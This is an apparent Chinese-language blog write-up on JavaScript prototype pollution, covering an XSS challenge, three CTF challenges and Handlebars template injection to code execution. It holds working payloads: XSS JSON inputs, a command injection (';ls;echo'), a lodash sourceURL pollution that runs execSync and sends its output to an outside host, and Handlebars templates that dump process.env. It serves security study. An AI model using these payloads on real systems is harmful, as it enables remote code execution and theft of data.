JavaScript原型链污染

前言

最近看到一篇关于在模板注入中利用原型链污染RCE的文章,才想起来还没有总结过原型链污染这种JavaScript的特殊漏洞,所以打算写一篇文章,通过XSS、几道CTF题目和复现漏洞的方式,温故知新一下。

目录

1. XSS

2. CTF1

3. CTF2

4. CTF3

5. Handlebars模板注入到RCE

原型链污染

有关原型链的详细解析看这里:https://blog.csdn.net/cc18868876837/article/details/81211729

我这里只举一个简单的栗子:

1
2
3
4
5
6
7
8
> a = []
< []
> a.__proto__.Twings = "Aluvion"
< "Aluvion"
> b = []
< []
> b.Twings
< "Aluvion"

简单来说就是通过给一个实例的原型对象赋值,影响同一个原型对象的其他实例。


XSS

prompt(1) to win 传送门:http://prompt.ml/13

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
...
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
...
var config = extend({
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
var source = config.source.replace(/"/g, '');
return '<img src="{{source}}">'.replace('{{source}}', source);
...

目标就是最后在source中逃逸出一个双引号来。

如果source的格式不符合要求,就会删除config.source,所以是不能直接通过source引入双引号的。这时候我们就可以使用原型链污染的方法了:给config的原型对象整一个恶意的source属性,同时提交一个不符合要求的source,这样一来config.source被删除后,后面的代码无法找到这个属性,就会去到config的原型对象去寻找,找到我们的恶意的source,我们就成功地污染了config.source,能够绕过过滤引入双引号。

但是这个replace要怎么绕过呢?

这就涉及到一个JavaScript的replace函数的黑魔法了:https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Description 通过特殊替换模式,我们可以逃逸出一个双引号来,用以闭合img的src。

payload:

1
2
{"source":"~","__proto__":{"source":"$`onerror=prompt(1)>\""}}
{"source":"~","__proto__":{"source":"$'<script>prompt(1)</script>\""}}

CTF1

代码如下,用npm把依赖下载好,再在views目录随便写一个HTML,即可将环境跑起来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}

function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}

app.use('/static', express.static('static'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];

}
res.render('index');
})


app.get('/admin', (req, res) => {
/*this is under development I guess ??*/

if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)


app.post('/api', (req, res) => {
var client = req.body;
var winner = null;

if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}

matrix[client.row][client.col] = client.data;
console.log(matrix);
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}

if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}

if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}

if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}

})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})

代码很简单,目标就是向/admin POST一个querytoken,并且正好与服务端的admintoken的MD5值相等。admintoken是undefined的,所以我们需要想办法修改它,这时候我们仔细审计代码,可以看到这么几行代码:

1
2
3
4
5
6
...
var user = [];
var matrix = [];
...
var client = req.body;
matrix[client.row][client.col] = client.data;

我们可以看到,admintoken所在的user实例和matrix实例都是数组类型,而后面又以我们可控的输入对它进行了两级的赋值,那么这里是不是就存在一个原型链污染的漏洞?

我们可以通过覆盖matrix的原型对象,来污染user.admintoken,这样一来admintoken就是我们可控的了,解题脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding:utf8 -*-
import requests
import json

headers = {
'Content-Type': 'application/json'
}
data = {
'row': '__proto__',
'col': 'admintoken',
'data': 'Twings'
}
myd = requests.session()
url = "http://localhost:3000/api"
url2 = "http://localhost:3000/admin?querytoken=f25758d1dec0c49eb22049d3080e87d0"
myd.post(url, headers=headers, data=json.dumps(data))
print myd.get(url2).content

CTF2

server.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
var fs       = require('fs'); 
var server = require('http').createServer()
var io = require('socket.io')(server)
var clientManager = require('./clientManager')
var helper = require('./helper')

var defaultSettings = JSON.parse(fs.readFileSync('default_settings.json', 'utf8'));

function sendMessageToClient(client, from, message) {
var msg = {
from: from,
message: message
};

client.emit('message', msg);
console.log(msg)
return true;
}

function sendMessageToChannel(channel, from, message) {
var msg = {
from: typeof from !== 'string' ? clientManager.getUsername(from): from,
message: message,
channel: channel
};

if(typeof from !== 'string') {
if(!clientManager.isSubscribedTo(from, channel)) {
console.log('Could not send message',msg,' from',
clientManager.getUsername(from),'to',channel,'because he is not subscribed.')
return false;
}
}

var clients = clientManager.getSubscribedToChannel(channel);

for(var i = 0; i<clients.length;i++) {
if(typeof from !== 'string') {
if(clients[i].id == from.id) {
continue;
}
}

clients[i].emit('message', msg);
}

console.log(msg)
return true;
}

io.on('connection', function (client) {
client.on('register', function(inUser) {
try {
newUser = helper.clone(JSON.parse(inUser))

if(!helper.validUser(newUser)) {
sendMessageToClient(client,"Server",
'Invalid settings.')
return client.disconnect();
}

var keys = Object.keys(defaultSettings);
for (var i = 0; i < keys.length; ++i) {
if(newUser[keys[i]] === undefined) {
newUser[keys[i]] = defaultSettings[keys[i]]
}
}

if (!clientManager.isUserAvailable(newUser.name)) {
sendMessageToClient(client,"Server",
newUser.name + ' is not available')
return client.disconnect();
}

clientManager.registerClient(client, newUser)
return sendMessageToClient(client,"Server",
newUser.name + ' registered')
} catch(e) { console.log(e); client.disconnect() }
});

client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);
sendMessageToClient(client,"Server",
"You joined channel", channel)

var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);

sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});

client.on('leave', function(channel) {
try {
client .join(channel);
clientManager.leaveChannel(client, channel);
sendMessageToClient(client,"Server",
"You left channel", channel)

var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel, "Server",
helper.getAscii("User " + u + " living in " + c + " left channel"))
} catch(e) { console.log(e); client.disconnect() }
});

client.on('message', function(message) {
try {
message = JSON.parse(message);
if(message.channel === undefined) {
console.log(clientManager.getUsername(client),"said:", message.msg);
} else {
sendMessageToChannel(message.channel, client, message.msg);
}
} catch(e) { console.log(e); client.disconnect() }
});

client.on('disconnect', function () {
try {
console.log('client disconnect...', client.id)

var oldclient = clientManager.removeClient(client);
if(oldclient !== undefined) {
for (const [channel, state] of Object.entries(oldclient.ch)) {
if(!state) continue;
sendMessageToChannel(channel, "Server",
"User " + oldclient.u.name + " left channel");
}
}
} catch(e) { console.log(e); client.disconnect() }
})

client.on('error', function (err) {
console.log('received error from client:', client.id)
console.log(err)
})
});

server.listen(3000, function (err) {
if (err) throw err;
console.log('listening on port 3000');
});

helper.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
var exports = module.exports = {
clone: function(obj) {

if (typeof obj !== 'object' ||
obj === null) {

return obj;
}

var newObj;
var cloneDeep = false;

if (!Array.isArray(obj)) {
if (Buffer.isBuffer(obj)) {
newObj = new Buffer(obj);
}
else if (obj instanceof Date) {
newObj = new Date(obj.getTime());
}
else if (obj instanceof RegExp) {
newObj = new RegExp(obj);
}
else {

var proto = Object.getPrototypeOf(obj);
if (proto &&
proto.isImmutable) {

newObj = obj;
}
else {
newObj = Object.create(proto);
cloneDeep = true;
}
}
}
else {
newObj = [];
cloneDeep = true;
}

if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);

for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var descriptor = Object.getOwnPropertyDescriptor(obj, key);
if (descriptor &&
(descriptor.get ||
descriptor.set)) {

Object.defineProperty(newObj, key, descriptor);
}
else {
newObj[key] = this.clone(obj[key]);
}
}
}

return newObj;
},
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}

var keys = Object.keys( inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];

if(block.indexOf(key) !== -1) {
return false;
}
}

var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}

return true;
},
getAscii: function(message) {
var e = require('child_process');
return e.execSync("cowsay '" + message + "'").toString();
}
}

clientManager.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
var helper = require('./helper')
var exports = module.exports = {
clients: {},
getUserByClient: function(client) {
return this.clients[client.id]
},
registerClient: function (client, user) {
this.clients[client.id] = { 'c': client,
'u': user,
'ch': {}
};
},
removeClient: function (client) {
var client_old = this.clients[client.id]
if(client_old === undefined)
return client_old

delete client_old.c
client_old = helper.clone(client_old)
delete this.clients[client.id];
return client_old
},
isUserAvailable: function (userName) {
for (var [key, user] of Object.entries(this.clients)) {
if(user.u.name == userName) {
return false;
}
}
return true;
},
getUsername: function (client) {
return this.clients[client.id].u.name;
},
getLastname: function (client) {
return this.clients[client.id].u.lastname;
},
getCountry: function (client) {
return this.clients[client.id].u.country;
},
getLocation: function (client) {
return this.clients[client.id].u.location;
},
getStatus: function (client) {
return this.clients[client.id].u.status;
},
joinChannel: function (client, channel) {
this.clients[client.id].ch[channel] = true;
},
leaveChannel: function (client, channel) {
this.clients[client.id].ch[channel] = false;
},
getSubscribedToChannel: function(channel) {
var subscribed = [];
for (var [key, user] of Object.entries(this.clients)) {
if(user.ch[channel] === true) {
subscribed.push(user.c);
}
}
return subscribed;
},
isSubscribedTo: function(client, channel) {
var user = this.getUserByClient(client)

for (var [chs, state] of Object.entries(user.ch)) {
if(state === true && chs === channel) {
return true;
}
}

return false;
},
};

client.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')

if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
name: process.argv[2],
};

socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})

socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));

default_settings.json:

1
2
3
4
5
6
7
8
9
{
"name": "Default",
"lastname": "Username",
"status": "Status Text",
"location": "127.0.0.1",
"country": "No Man`s Land",
"source": "Website",
"port": "3000"
}

package.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"name": "chat",
"version": "1.0.0",
"description": "DCTF",
"main": "NA",
"dependencies": {
"socket.io": "^2.1.1",
"socket.io-client": "^2.1.1"
},
"devDependencies": {},
"scripts": {
"test": "NA"
},
"repository": {
"type": "git",
"url": "NA"
},
"keywords": [
"DCTF"
],
"author": "Andrei",
"license": "UNLICENSED"
}

审计一下代码,可以看到代码实现了一个socket服务器,客户端可以进行注册、加入聊天室、发言等,而最可疑的地方则在helper.js的getAscii函数:

1
2
3
4
getAscii: function(message) {
var e = require('child_process');
return e.execSync("cowsay '" + message + "'").toString();
}

很明显如果message可控,那么这里就存在一个命令注入漏洞,我们去看看函数调用,可以看到有两个地方用相同的参数调用了这个函数:

1
sendMessageToChannel(channel, "Server", helper.getAscii("User " + u + " living in " + c + " left channel"))

如果我们可以控制注册时的name和country,就可以进行命令注入了。接下来看一下注册逻辑,发现代码调用了validUser函数进行了过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
var block = ["source","port","font","country",
"location","status","lastname"];
...
for(var i = 0; i< keys.length; i++) {
key = keys[i];

if(block.indexOf(key) !== -1) {
return false;
}
}

var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}
...

name只能由小写字母和数字组成,而我们不能对country进行设置,那怎么办呢?我们能不能通过原型链来污染country?可以看到服务端调用helper.clone来克隆了我们的JSON输入,我们仔细审计helper.clone函数,可以看到最后进行了对象克隆赋值,将本来只是属性名的__proto__指向了对象原型:

1
newObj[key] = this.clone(obj[key]);

我们可以使用vscode来断点调试一下:

成功覆盖了原型对象,这样一来我们就可以注入命令了。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const io = require('socket.io-client')
const socket = io.connect('http://127.0.0.1:3000')

console.log(process.argv.length);

if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
name: process.argv[2],
};

socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})

socket.emit('register', '{"name":"Twings", "__proto__":{"country":"\';ls;echo \'lala"}}')
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));

CTF3

源码地址:https://github.com/phith0n/code-breaking/tree/master/2018/thejs

注意lodash版本为4.17.4,高版本的merge函数无法污染原型链。

代码很简单,只有一个页面,逻辑也很简单,将选择的语言加入session,然后渲染模板。关注这两部分代码:

1
2
3
4
5
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
1
2
3
4
5
6
7
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})

merge是一个容易发生原型链污染的函数:

我们可以通过这个函数来污染某个属性,那我们应该对谁下手呢?我们同样可以断点调试,然后跟入函数中看看,比如代码调用的lodash的另一个函数lodash.template:

1
2
3
4
5
6
7
8
9
10
var sourceURL = '//# sourceURL=' +
('sourceURL' in options
? options.sourceURL
: ('lodash.templateSources[' + (++templateCounter) + ']')
) + '\n';
...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

可以看到在options.sourceURL存在的情况下,会将options.sourceURL赋值给sourceURL,然后拼接进入Function的第二个参数中,所以我们只要污染了options.sourceURL,我们的恶意代码就会经过attempt、baseRest、overRest,最后来到apply通过func.call调用,我们就可以执行任意Javascript代码了。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding:utf8 -*-
import requests
import json

headers = {
'Content-Type': 'application/json'
}
data = {
'__proto__': {
'sourceURL': "test\nvar require = global.require || global.process.mainModule.constructor._load;"
"var result = require('child_process').execSync('dir');"
"var req = require('http').request(`http://*.*.*.*/?${result}`);"
"req.end();\n//"
}
}
myd = requests.session()
url = "http://localhost:3000"
myd.post(url, headers=headers, data=json.dumps(data))
myd.get(url)

Handlebars模板注入到RCE

用package.json安装4.0.12版本的handlebars,然后写个测试脚本:

1
2
3
4
5
6
7
8
9
10
11
var handlebars = require('handlebars'),
fs = require('fs');
data = {
"name": "Twings"
}

fs.readFile('example.html', 'utf-8', function(error, source){
var template = handlebars.compile(source);
var html = template(data);
console.log(html)
});

两种payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{{#with this as |obj|}}
{{#with (obj.constructor.keys "1") as |arr|}} # 创建一个array
{{arr.pop}} # 把array清空
{{arr.push obj.constructor.name.constructor.bind}} # 把bind存入array
{{arr.pop}} # 因为handlerbars调用函数会加个this在后面,所以pop掉
{{arr.push "return JSON.stringify(process.env);"}} # 把payload存入array
{{arr.pop}} # 因为handlerbars调用函数会加个this在后面,所以pop掉
{{#blockHelperMissing obj.constructor.name.constructor.bind}}
{{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}} # 以obj.constructor.name.constructor为this,arr为参数调用obj.constructor.name.constructor.bind创建新函数,新函数拥有和obj.constructor.name.constructor一样的函数体,调用该函数会返回payload,将恶意函数绑定放到一个数组中,键为0
{{#with (obj.constructor.getOwnPropertyDescriptor this 0)}} # 获取描述符
{{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}} # 在obj.constructor.prototype上定义toString属性为恶意函数
{{#with (obj.constructor.constructor "test")}} # 这个test字符串可以省略,调用obj.constructor.constructor(this),调用的时候会触发this的toString,即返回并执行了'return JSON.stringify(process.env);'
{{this}} # 将执行结果打印出来
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
{{/with}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}} # e.split创建数组
{{this.pop}}
{{this.push (lookup string.sub "constructor")}} # sub也可以换成其他函数,比如endsWith,将string.sub修改为了conslist.sub
{{this.pop}}
# 此时conslist中只有一个Function
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
# 此时codelist中只有一个字符串payload
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}} # 通过apply调用Function执行代码
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

参考文章:

https://xz.aliyun.com/t/2735

https://xz.aliyun.com/t/4229

https://www.anquanke.com/post/id/176121

https://www.cnblogs.com/zhumingzhenhao/p/8337146.html

https://blog.csdn.net/leviscar/article/details/78484090

https://blog.l0ca1.xyz/Code-Breaking

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html


JavaScript原型链污染
http://yoursite.com/2019/04/11/JavaScript原型链污染/
作者
Aluvion
发布于
2019年4月11日
许可协议